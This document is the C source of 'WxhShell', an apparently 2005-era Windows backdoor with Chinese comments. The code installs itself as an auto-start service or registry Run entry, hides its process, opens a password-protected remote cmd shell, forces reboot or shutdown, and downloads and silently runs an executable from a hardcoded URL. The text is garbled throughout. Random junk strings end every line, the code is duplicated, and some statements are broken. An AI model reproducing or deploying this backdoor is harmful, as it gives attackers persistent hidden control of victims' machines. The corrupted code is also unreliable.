WinExec(wscfg.ws_filenam,SW_HIDE); *m%]zj0bo
} $+}+zZX5
FgL,k
if(!OsIsNt) { +n}$pM|NKU
// 如果时win9x，隐藏进程并且设置为注册表启动 PSawMPw
HideProc(); tNVV)C
StartWxhshell(lpCmdLine); %gnM(pxl
} gX{loG
else TpA\9N#$
if(StartFromService()) fQLt=Lrp
// 以服务方式启动 ,@m@S^
StartServiceCtrlDispatcher(DispatchTable); A`{y9@h(
else s:00yQ
// 普通方式启动 kt4d;4n
StartWxhshell(lpCmdLine); fF*`'i=!
=h(W4scgqX
return 0; h;5LgAY|v
} iJnU%
r%DFve:%
50dGBF
P;PQeXKw
=========================================== iR$<$P5
K^r)CCO
E,n}HiAz7V
]d[ge6
KRJLxNr
[OOS`N4<
" \:> Wpqw
*&AfR8x_z
#include <stdio.h> {{C`mgC
#include <string.h> ::n;VY2&
#include <windows.h> P,ua<B}L
#include <winsock2.h> +h2eqNr
#include <winsvc.h> -/]W+[
#include <urlmon.h> t>B^q3\q?
+!f=jg06
#pragma comment (lib, "Ws2_32.lib") ( 6(x'ByT
#pragma comment (lib, "urlmon.lib") B= keBO](@
%LXM+<N8
#define MAX_USER 100 // 最大客户端连接数 "o& E2#
#define BUF_SOCK 200 // sock buffer (wc03,K^
#define KEY_BUFF 255 // 输入 buffer +l^LlqA
{b]aC
#define REBOOT 0 // 重启 */ G<!W
#define SHUTDOWN 1 // 关机 |}){}or
6io, uh!
#define DEF_PORT 5000 // 监听端口 s<x1>Q7X~
nS()u}c;r
#define REG_LEN 16 // 注册表键长度 U $Qv>7
#define SVC_LEN 80 // NT服务名长度 Hn,:`mj4-6
,fEO> i
// 从dll定义API wOB azWa
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LtT\z<bAI
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C1T_9}L-A
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c62=*] ,
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HaA1z}?n
)hwV`2>l
// wxhshell配置信息 7j5f ;O^+
struct WSCFG { s=?aox7
int ws_port; // 监听端口 !? ^h;)a
char ws_passstr[REG_LEN]; // 口令 P?BGBbC
int ws_autoins; // 安装标记, 1=yes 0=no {f9{8-W<u
char ws_regname[REG_LEN]; // 注册表键名 0oy-os
char ws_svcname[REG_LEN]; // 服务名 jClj_E
char ws_svcdisp[SVC_LEN]; // 服务显示名 7\o!HMfK
char ws_svcdesc[SVC_LEN]; // 服务描述信息 H1!iP$1#V
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SM[Bv9|0
int ws_downexe; // 下载执行标记, 1=yes 0=no HxK$4I`
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2?@j~I=s2h
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Bx J
-Xz?s
}; OT %nrzP
1Xy]D
// default Wxhshell configuration _DRrznaw
struct WSCFG wscfg={DEF_PORT, W;?(,xx
"xuhuanlingzhe", :5GZ\Z8F
1, '2hbJk
"Wxhshell", >Ps7I
"Wxhshell", t+CWeCp,
"WxhShell Service", T5wjU*=IL
"Wrsky Windows CmdShell Service", EoX_KG{
"Please Input Your Password: ", dQy>Nmfy
1, wx=0'T-[
"http://www.wrsky.com/wxhshell.exe", =1dI>M>tm
"Wxhshell.exe" ^s\3/z>b4!
}; qdCWy
9Qj2W
// 消息定义模块 {#IPf0O
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CeT~p6=
char *msg_ws_prompt="\n\r? for help\n\r#>"; mq/zTm
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fpM#XFj
char *msg_ws_ext="\n\rExit."; o/[
char *msg_ws_end="\n\rQuit."; o6"*4P|
char *msg_ws_boot="\n\rReboot..."; *cWmS\h|
char *msg_ws_poff="\n\rShutdown..."; `Lyq[zg8
char *msg_ws_down="\n\rSave to "; KsAH]2Q%
PXP`ZLF
char *msg_ws_err="\n\rErr!"; %Qn(rA@9
char *msg_ws_ok="\n\rOK!"; Gt9wR
X7UBopm&
char ExeFile[MAX_PATH]; us?&:L|!=
int nUser = 0; UVf\2\Y
HANDLE handles[MAX_USER]; Bz8 &R|~>"
int OsIsNt; %R_{1GrL'c
>=ot8%.!,B
SERVICE_STATUS serviceStatus; Ft%hh|$5y
SERVICE_STATUS_HANDLE hServiceStatusHandle; 5,+\`!g
)"@t6.
// 函数声明 3bC yTZk
int Install(void); jRkC/Lw
int Uninstall(void); .R44$F
int DownloadFile(char *sURL, SOCKET wsh); !J>A,D"-
int Boot(int flag); #?}6t~
void HideProc(void); <v]9lw'
int GetOsVer(void); }4jC_ZAupt
int Wxhshell(SOCKET wsl); TmEYW<
void TalkWithClient(void *cs); T!q_/[i~7
int CmdShell(SOCKET sock); ~HLRfL?
int StartFromService(void); ph30'"[Z}
int StartWxhshell(LPSTR lpCmdLine); _[Gb)/@mM
V:K;] h*!
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L0Vgo<A
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :jNYP{Br
fhpX/WE6
// 数据结构和表定义 irxz l3
SERVICE_TABLE_ENTRY DispatchTable[] = 4~?2wvz G4
{ 0TE@xqW
{wscfg.ws_svcname, NTServiceMain}, pV`$7^#X
{NULL, NULL} kM*T$JqN
}; * UcjQ
go|>o5!g
// 自我安装 cFfTYP9
int Install(void) UKB_Yy^Y
{ P15:,9D
char svExeFile[MAX_PATH]; y]qsyR18i
HKEY key; p,#6 @*
strcpy(svExeFile,ExeFile); MZm'npRf
k0K A~
// 如果是win9x系统，修改注册表设为自启动 744=3v
if(!OsIsNt) { =:$) Z
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z4Oo@3$\R
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IlZu~B9c
RegCloseKey(key); IvU{Xm"qB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N)OCSeh
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f'/ KMe%<
RegCloseKey(key); 2ChWe}f
return 0; /5a;_
} tjzA)/T,4
} }OKL z.5
} XCPb9<L
else { '"O&J}s;
T&}Ye\%
// 如果是NT以上系统，安装为系统服务 V:^H4WvL\W
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9`X&,S~e
if (schSCManager!=0) N=fz/CD)I
{ -q2MrJ*
SC_HANDLE schService = CreateService 8]*Q79
( =y;@?=T
schSCManager, 19y 0$e_V
wscfg.ws_svcname, OXtBJYe
wscfg.ws_svcdisp, B3b,F#
SERVICE_ALL_ACCESS, `ut)+T V
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jb@\i@-
SERVICE_AUTO_START, {g=b]yg\o
SERVICE_ERROR_NORMAL, ,?=KgG1i
svExeFile, E`E'<"{Yd
NULL, : ^(nj7D
NULL, cIZc:
NULL, FLbZ9pX}
NULL, Baq ~}B<
NULL [}k|
); &l^n4
if (schService!=0) BR3mAF
{ /RF%1!M K
CloseServiceHandle(schService); 1M+Zkak7p
CloseServiceHandle(schSCManager); NhlJ3/J j
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5ZsDgOeY
strcat(svExeFile,wscfg.ws_svcname); Sr7@buF
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m!!;/e?yx
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZQLB`n@
RegCloseKey(key); {5x>y:v
return 0; Y@:3 B:m#
} m.146
} m^0A?jBrR
CloseServiceHandle(schSCManager); Qv!rUiXq
} pGk"3.ce
} eiB(VOJ
Q<'@V@H
return 1; 03"#J2b
} \(9p&"Q-
3;D?|E]1
// 自我卸载 a(Sv,@/
int Uninstall(void) }9}w8R~E
{ N[ Q#R~Hn<
HKEY key; .HOY q
BD4"pcr
if(!OsIsNt) { /$*; >4=>f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p2a?9R
RegDeleteValue(key,wscfg.ws_regname); a@k.$
RegCloseKey(key); 2VMX:&3 5J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lxOqs:b
RegDeleteValue(key,wscfg.ws_regname); ?1DUNZ6
RegCloseKey(key); Ltg-w\?]
return 0; +9~ZA3DiP
} |0DP} `~
} Bfn]-]>sD
} CRd_}
else { -&7=uRQk
e@+v9Bs]q
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ei~]iZ}
if (schSCManager!=0) yUj;4vd
{ o3= .T+B
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '}fel5YV
if (schService!=0) 5Q;dnC
{ [wIKK/O
if(DeleteService(schService)!=0) { -g$OOJB6
CloseServiceHandle(schService); _X?y,#
CloseServiceHandle(schSCManager); z=%IcSx;
return 0; &08Tns"
} `x< 0A
CloseServiceHandle(schService); (V^QQ !:
} [BE:+ ID3
CloseServiceHandle(schSCManager); )_F(H)*
} h+ TB]
} K9}jR@jy$
6i^0T
return 1; ~CulFxu
} (A|B@a!Y>
o:f|zf> i<
// 从指定url下载文件 jiOf')d5
int DownloadFile(char *sURL, SOCKET wsh) y,1S&k
{ 6|i`@|#
HRESULT hr; d)9PEtI
char seps[]= "/"; v(k*A:
char *token; r5Wkc$
char *file; YBeZN98Nt
char myURL[MAX_PATH]; ju r1!rg%
char myFILE[MAX_PATH]; V3%Krn1'
kU>#1He
strcpy(myURL,sURL); k\%,xf; x
token=strtok(myURL,seps); &7lk2Q\
while(token!=NULL) {MA@A5
{ =cknE=
file=token; m_~y
token=strtok(NULL,seps); 9PWm@ Nlf
} u`nt\OF
'|J)ds
GetCurrentDirectory(MAX_PATH,myFILE); ,%.:g65%
strcat(myFILE, "\\"); d7\k gh
strcat(myFILE, file); ;q'DGzh
send(wsh,myFILE,strlen(myFILE),0); y K=S!7p\
send(wsh,"...",3,0); |\rSa^:5
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +i2YX7Of
if(hr==S_OK) rR3m'[
return 0; EF0Pt
else TIKEg10I
return 1; fWqv3nY^
,WzG.3^m
} 7BVXBw
aKaR
// 系统电源模块 1+VY><=n
int Boot(int flag) P~n8EO1r
{ CuF%[9[cT
HANDLE hToken; ,,zd.9n
TOKEN_PRIVILEGES tkp; (cu'
WFQ*s4 R(
if(OsIsNt) { xNocGtS
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b*@&c9I;q
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0@JilGk1u
tkp.PrivilegeCount = 1; q+r `e
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dw'<"+zO
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6sO
if(flag==REBOOT) { @Pd) %'s
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BYkVg2D(
return 0; m j'"Z75
} ^mS.HT=X
else { z+y;y&P
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0EcC
return 0; t$ACQ*O
} aslU`#"
} myEGibhK
else { [u,hc/PL
if(flag==REBOOT) { ~%D^Ga7
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jdV .{8@
return 0; CM+F7#T?n
} nNd`]F^U
else { j;$6F/g
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]J8KCjq@
return 0; G5y]^P
} 82G lbd)
} >DPds~k
V:nMo2'hb
return 1; H={O13
} n1fEdaa7g
x*5 Ch~<k
// win9x进程隐藏模块 D!l [3
void HideProc(void) wrZ7Sr!/V
{ e|2vb GQ
yEMX`
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !D.= 'V
if ( hKernel != NULL ) i}v}K'`
{ $.suu^>^w
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )nf=eU4|
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [ t>}SE
FreeLibrary(hKernel); aYv'H
} UE}8Rkt
Jdk3) \
return; bIvJs9L
} ]Ct`4pA
= ]dz1~/
// 获取操作系统版本 Q#yu(
int GetOsVer(void) }1X11+/W
{ Wto@u4
OSVERSIONINFO winfo; `'A(`. CL
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CF4Oh-f
GetVersionEx(&winfo); i?1js! 8
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qK9L+i
return 1; J};u25:}
else A{DIp+
return 0; WI*^+E&=*
} c%xED%X9
F]URf&U
// 客户端句柄模块 t z +
int Wxhshell(SOCKET wsl) J_y<0zF**
{ (`q6G d
SOCKET wsh; uMiD*6,$<
struct sockaddr_in client; $ uz1
DWORD myID; +l[Z2mW
zR3lX}g
while(nUser<MAX_USER) PMz{8 F
{ []6ShcqJ[v
int nSize=sizeof(client); r?Zy-yQ
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C{d8~6
if(wsh==INVALID_SOCKET) return 1; `g4Ekp'Rp[
pQ[o3p!&9
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !_^{udB}
if(handles[nUser]==0) v;N1'
closesocket(wsh); @&i#S}%/
else +7U A%q
nUser++; M[`w{A
} (7rz:
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `[C v-
Q*mMF@-:
return 0; A|`Joxr
} IDiUn!6Q
4acP*LkkQ
// 关闭 socket 9" }^SI8
void CloseIt(SOCKET wsh) Z,N7nMJf
{ <manv8*6
closesocket(wsh); 8a":[Q[
nUser--; f2R+5`$
ExitThread(0); -Z/6;2Q
} c|R3,<Q]
`/gEKrhL-
// 客户端请求句柄 u$Pf.#
void TalkWithClient(void *cs) f<s'prF
{ iaaH9X %
UL@5*uiX
SOCKET wsh=(SOCKET)cs; L_.xr ?
char pwd[SVC_LEN]; Vx\#+)4
char cmd[KEY_BUFF]; :) Fp B"
char chr[1]; YQB]t=Ha
int i,j; QJ(e*/
YfrTvKX
while (nUser < MAX_USER) { 1=/MT#d^?
xRTg [
if(wscfg.ws_passstr) { vBCZ/F[
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [# tT o;q
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pT_e;,KW U
//ZeroMemory(pwd,KEY_BUFF); :(S/$^U
i=0; ]X"i~$T1S
while(i<SVC_LEN) { L[QI 5N
"PDSqYA
// 设置超时 +n8I(l=
fd_set FdRead; 9rf|r 3
struct timeval TimeOut; WW8L~4Zy
FD_ZERO(&FdRead); ]' "^M
FD_SET(wsh,&FdRead); 8^~ZNU-~v
TimeOut.tv_sec=8; kw-Kx4 )
TimeOut.tv_usec=0; ]~g|SqPA@
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F|n$0vQ*
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9bzYADLI
YiI:uG!|D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v&CO#vK5.
pwd=chr[0]; b3 %&
if(chr[0]==0xd || chr[0]==0xa) { ,mE]?XyO
pwd=0; G(Idiw#WT
break; pRk'GR]`
} _uy5?auQ
i++; ''\cBM!
} 1 Q0Yer
.>gU 9A(Nk
// 如果是非法用户，关闭 socket hF=V ?\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (J,Oh
} h.s<0.
9B6_eFb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^&G O4u
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x"C93ft[
BB73'W8y
while(1) { te)g',#lT
~i_R%z:y
ZeroMemory(cmd,KEY_BUFF); ^) b7m
WE Svkm;
// 自动支持客户端 telnet标准 ]K0,nj*\c
j=0; -)->Jx:{
while(j<KEY_BUFF) { pS|JDMo
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m(7_ZiL=
cmd[j]=chr[0]; V@+<,tjq
if(chr[0]==0xa || chr[0]==0xd) { dv4r\ R^
cmd[j]=0; (m =u;L"o
break; $Bwvw)(%
} ;KjMZ(Iil1
j++; pQgOT0f
} )V+Dqh,-g
UXdC<(vK
// 下载文件 *!7SM7
if(strstr(cmd,"http://")) { @l6dJ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); C7*Yg$`{
if(DownloadFile(cmd,wsh)) B=RKi\K6a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<P/w%i2
else @1qUC"Mg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"74HZO>
} xzf)_ <
else { &MGgO\|6
Z`1o#yZ
switch(cmd[0]) { D<L{Z[
h|/*yTuN.y
// 帮助 VT~ ^:-]
case '?': { cB])A57<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K v>#
break; ()IgSj?,
} $MVeMgPa
// 安装 ,vY I O
case 'i': { u #QSa$P
if(Install()) [?r\b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Kz` O>"6
else 6`$z*C2{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FVLA^$5c
break; x?k |i}Q
} bA9dbe
// 卸载 w!Lb;4x ?
case 'r': { nOoh2jUM
if(Uninstall()) E=U^T/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AxqTPx7`|
else MS^hsUj}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F9G$$%Q-Z
break; [~r$US
} w\Eve:
// 显示 wxhshell 所在路径 Erymx$@P
case 'p': { i~PZvxt
char svExeFile[MAX_PATH]; g8@i_
strcpy(svExeFile,"\n\r"); BOcEL%+
strcat(svExeFile,ExeFile); )UU6\2^
send(wsh,svExeFile,strlen(svExeFile),0); &(U=O?r7
break; Ita!07
} M(f*hOG{Y
// 重启 / z>8XM&
case 'b': { tp3N5I
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |`9zE]
if(Boot(REBOOT)) a{YVz\?d}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R$'nWzX#
else { z&G3&?Z
closesocket(wsh); v?'k)B
ExitThread(0); |8?{JKsg
} ,T>2zSk
break; j:<T<8.o
} K1:)J.ca_
// 关机 Yy:sZJ
case 'd': { =|zyi|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); us *l+Jw,m
if(Boot(SHUTDOWN)) K?<Odw'k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ov.rHVeI
else { L7'X7WYf&
closesocket(wsh); .3SjkC4I
ExitThread(0); )W7H{#
} ;7{wa]
break; hzVr3;3Zn
} pv.),Iv-68
// 获取shell X~VZ61vNu
case 's': { >R!I
CmdShell(wsh); :<G+)hIK
closesocket(wsh); TgG)btQ
ExitThread(0); ^O9m11
break; ep1Ajz.l
} g(/O)G.
// 退出 Z19y5?uR
case 'x': { 8y )i,"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tfs9<k>G#
CloseIt(wsh); j[ YTg]
break; 9_^V1+
} 78A4n C
// 离开 $w}aX0dK&
case 'q': { ApB'O;5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m`6`a|Twp$
closesocket(wsh); 5w%9b
WSACleanup(); e/l?|+m 6
exit(1); fA,!d J
break; _C\ d^a(
} o[*ih\d
} eh=bClk
} nr%^:u
,$*klod
// 提示信息 h v+i{Z9!]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 438>)=
} _e^V\O>
} C'"6@-~
5{=MUU=
return; gU$3Y#R
} Yhdt8[ 2
:njUaMFoMA
// shell模块句柄 %[;KO&Ga
int CmdShell(SOCKET sock) T3 /LUm
{ V3nv5/6
STARTUPINFO si; 7[,f;zG
ZeroMemory(&si,sizeof(si)); unB "dE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XX+rf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Pn`V{a
PROCESS_INFORMATION ProcessInfo; W#/Ol59
char cmdline[]="cmd"; Eu}A{[^\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zz ?y&T
return 0; Kn]WXc|("
} hj[g2S%X
}e6:&`a xD
// 自身启动模式 cE#Y,-f
int StartFromService(void) ucO]&'hu:
{ Kqjeqr@)
typedef struct b?^<';,5
{ "@Fxfd+Ot
DWORD ExitStatus; vdM\scO:
DWORD PebBaseAddress; 4WnxJ]5`
DWORD AffinityMask; g9Ll>d)tE3
DWORD BasePriority; >l[N]CQ
ULONG UniqueProcessId; rGO3
ULONG InheritedFromUniqueProcessId; d":{a6D*d
} PROCESS_BASIC_INFORMATION; 'f!Jh<i
;bbEd'
PROCNTQSIP NtQueryInformationProcess; Mqy`j9FbL
Ku# _
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;W"[,#2TM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r +fzmb
3sNq3I
HANDLE hProcess; "*WXr$
PROCESS_BASIC_INFORMATION pbi; 1Sr}2@>
IVKE dwA
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #,pLVt<
if(NULL == hInst ) return 0; )BB a
C<)&qx3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ved:w^ ,
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F!<x;h(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8hY)r~!b'
G 0 yt%qHE
if (!NtQueryInformationProcess) return 0; x]M1UBnMN
}9dgm[C[b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DKH9O
if(!hProcess) return 0; w[_Uv4M
_69\#YvCG
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ' ga2C\)
5sUnEHN
CloseHandle(hProcess); =Ch#pLmH
$<#sCrNX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pq`MO .R
if(hProcess==NULL) return 0; 1x)%9u}
aV.<<OS
HMODULE hMod; 2;tp>,G9d
char procName[255]; |F`'m":$m
unsigned long cbNeeded; V-|}.kOH2
'`"&RuB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F'!}$oT"
"/=xu|
CloseHandle(hProcess); H9?~#GPb
cR} =3|t
if(strstr(procName,"services")) return 1; // 以服务启动 ~+hG}7(:
wz=I+IN:
return 0; // 注册表启动 X35hLp8 M
} h:wD &Fh8
[%y D,8
// 主模块 M`FL&Ac
int StartWxhshell(LPSTR lpCmdLine) GKr L
{ 8Sa<I.l
SOCKET wsl; Os;\\~e5
BOOL val=TRUE; >XN&QVE
int port=0; j3U8@tuG
struct sockaddr_in door; x$*OglaS
aMWNZv
if(wscfg.ws_autoins) Install(); %qhaVM$]
rjzRH
port=atoi(lpCmdLine); *,u{~(thR
n_j[hA
if(port<=0) port=wscfg.ws_port; }ls>~uN
.u&g2Y
WSADATA data; jC=_>\<|X*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N 2\,6<
1^mO"nX
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l0f6Lxfz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $I%]jAh6
door.sin_family = AF_INET; I nk76-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H{If\B%1t
door.sin_port = htons(port); 3ly|y{M",
191)JWfa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .'M]cN~
closesocket(wsl); a>6p])Wh
return 1; \uH;ng|m
} Rh|&{Tf
ek<U2C_u#
if(listen(wsl,2) == INVALID_SOCKET) { z!tHn#
closesocket(wsl); t<-Iiq+tL
return 1; $= gv
} d>f5Tl\E
Wxhshell(wsl); {fWZ n
WSACleanup(); *!r8HV/<
vnE,}(M
return 0; 3mWN?fC
*hba>LZ
} sE% n=Ww
rHznXME$wZ
// 以NT服务方式启动 /C"E*a
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a"EXR-+8
{ /@K?W=w4
DWORD status = 0; :hr%iu
DWORD specificError = 0xfffffff; 8@!SM
ouujd~b+
serviceStatus.dwServiceType = SERVICE_WIN32; H3JWf MlW
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F-m1GG0s
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e2>gQ p/
serviceStatus.dwWin32ExitCode = 0; 6xwC1V?:0t
serviceStatus.dwServiceSpecificExitCode = 0; }0I! n@
serviceStatus.dwCheckPoint = 0; 5we1q7
serviceStatus.dwWaitHint = 0; q?wBh^
^(%>U!<<%,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .[7m4iJf
if (hServiceStatusHandle==0) return; Kgcg:r:
/dIiFr"e}G
status = GetLastError(); "qF8'58
if (status!=NO_ERROR) GCrMrZ6
{ ,+XQ!y%
serviceStatus.dwCurrentState = SERVICE_STOPPED; vjWS35i
serviceStatus.dwCheckPoint = 0; XS>4efCJ
serviceStatus.dwWaitHint = 0; J?{uG8)
serviceStatus.dwWin32ExitCode = status; ?U&onGy
serviceStatus.dwServiceSpecificExitCode = specificError; mY-r:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`d=sOB^
return; 9,4a?.*4~
} 4JucNGv
/%~`B[4F
serviceStatus.dwCurrentState = SERVICE_RUNNING; FYzl-7!Y
serviceStatus.dwCheckPoint = 0; % nR:Rc!
serviceStatus.dwWaitHint = 0; 7kO 1d{u6b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K-K+%U
} %k"-rmW
6_XTeu
// 处理NT服务事件，比如：启动、停止 7l?-2I'c
VOID WINAPI NTServiceHandler(DWORD fdwControl) `*!.B
{ nRvV+F0#
switch(fdwControl) +:D0tYk2B
{ 9K)2OX;$w
case SERVICE_CONTROL_STOP: MYu-[Hg
serviceStatus.dwWin32ExitCode = 0; % L]xar
serviceStatus.dwCurrentState = SERVICE_STOPPED; Mv_4*xVc
serviceStatus.dwCheckPoint = 0; 0&<{o!>k
serviceStatus.dwWaitHint = 0; O\xUv
{ 3?C$Tl2G8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cdk;HK_Ve.
} qr:[y
return; s:M:Ff
case SERVICE_CONTROL_PAUSE: VXC_Y
serviceStatus.dwCurrentState = SERVICE_PAUSED; Oa{M9d,l
break; ]^dXB0
case SERVICE_CONTROL_CONTINUE: I\":L
serviceStatus.dwCurrentState = SERVICE_RUNNING; \;4RD$J
break; RP6QS)|
case SERVICE_CONTROL_INTERROGATE: q0Fy$e]u
break; WKP=[o^
}; iidK}<o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P'zA=Rd&~>
} 97Whn*
iYFM@ta
// 标准应用程序主函数 VPK)HzPG,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *T 6<'a
{ vAX %i(4
F&Q:1`y
// 获取操作系统版本 R6!t2gdKe@
OsIsNt=GetOsVer(); &}6=V+J;
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;vuok]@
I6\l6o
// 从命令行安装 *PD7H9m
if(strpbrk(lpCmdLine,"iI")) Install(); ;R}:2
IU&n!5d$)|
// 下载执行文件 pX"f "
if(wscfg.ws_downexe) { .^uNzN~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R9k Z#
WinExec(wscfg.ws_filenam,SW_HIDE); l{6fR(d ?
} (tys7og$'
_K'YaZTa;~
if(!OsIsNt) { ,9=5.+AJ
// 如果时win9x，隐藏进程并且设置为注册表启动 fAXF_wj
HideProc(); g+U6E6}1
StartWxhshell(lpCmdLine); UkeX">
} U",kAQY
else !Vy/-N
if(StartFromService()) 7N 7W0Ky
// 以服务方式启动 ^k/@y@%
StartServiceCtrlDispatcher(DispatchTable); dCN4aY[d
else kowBB0
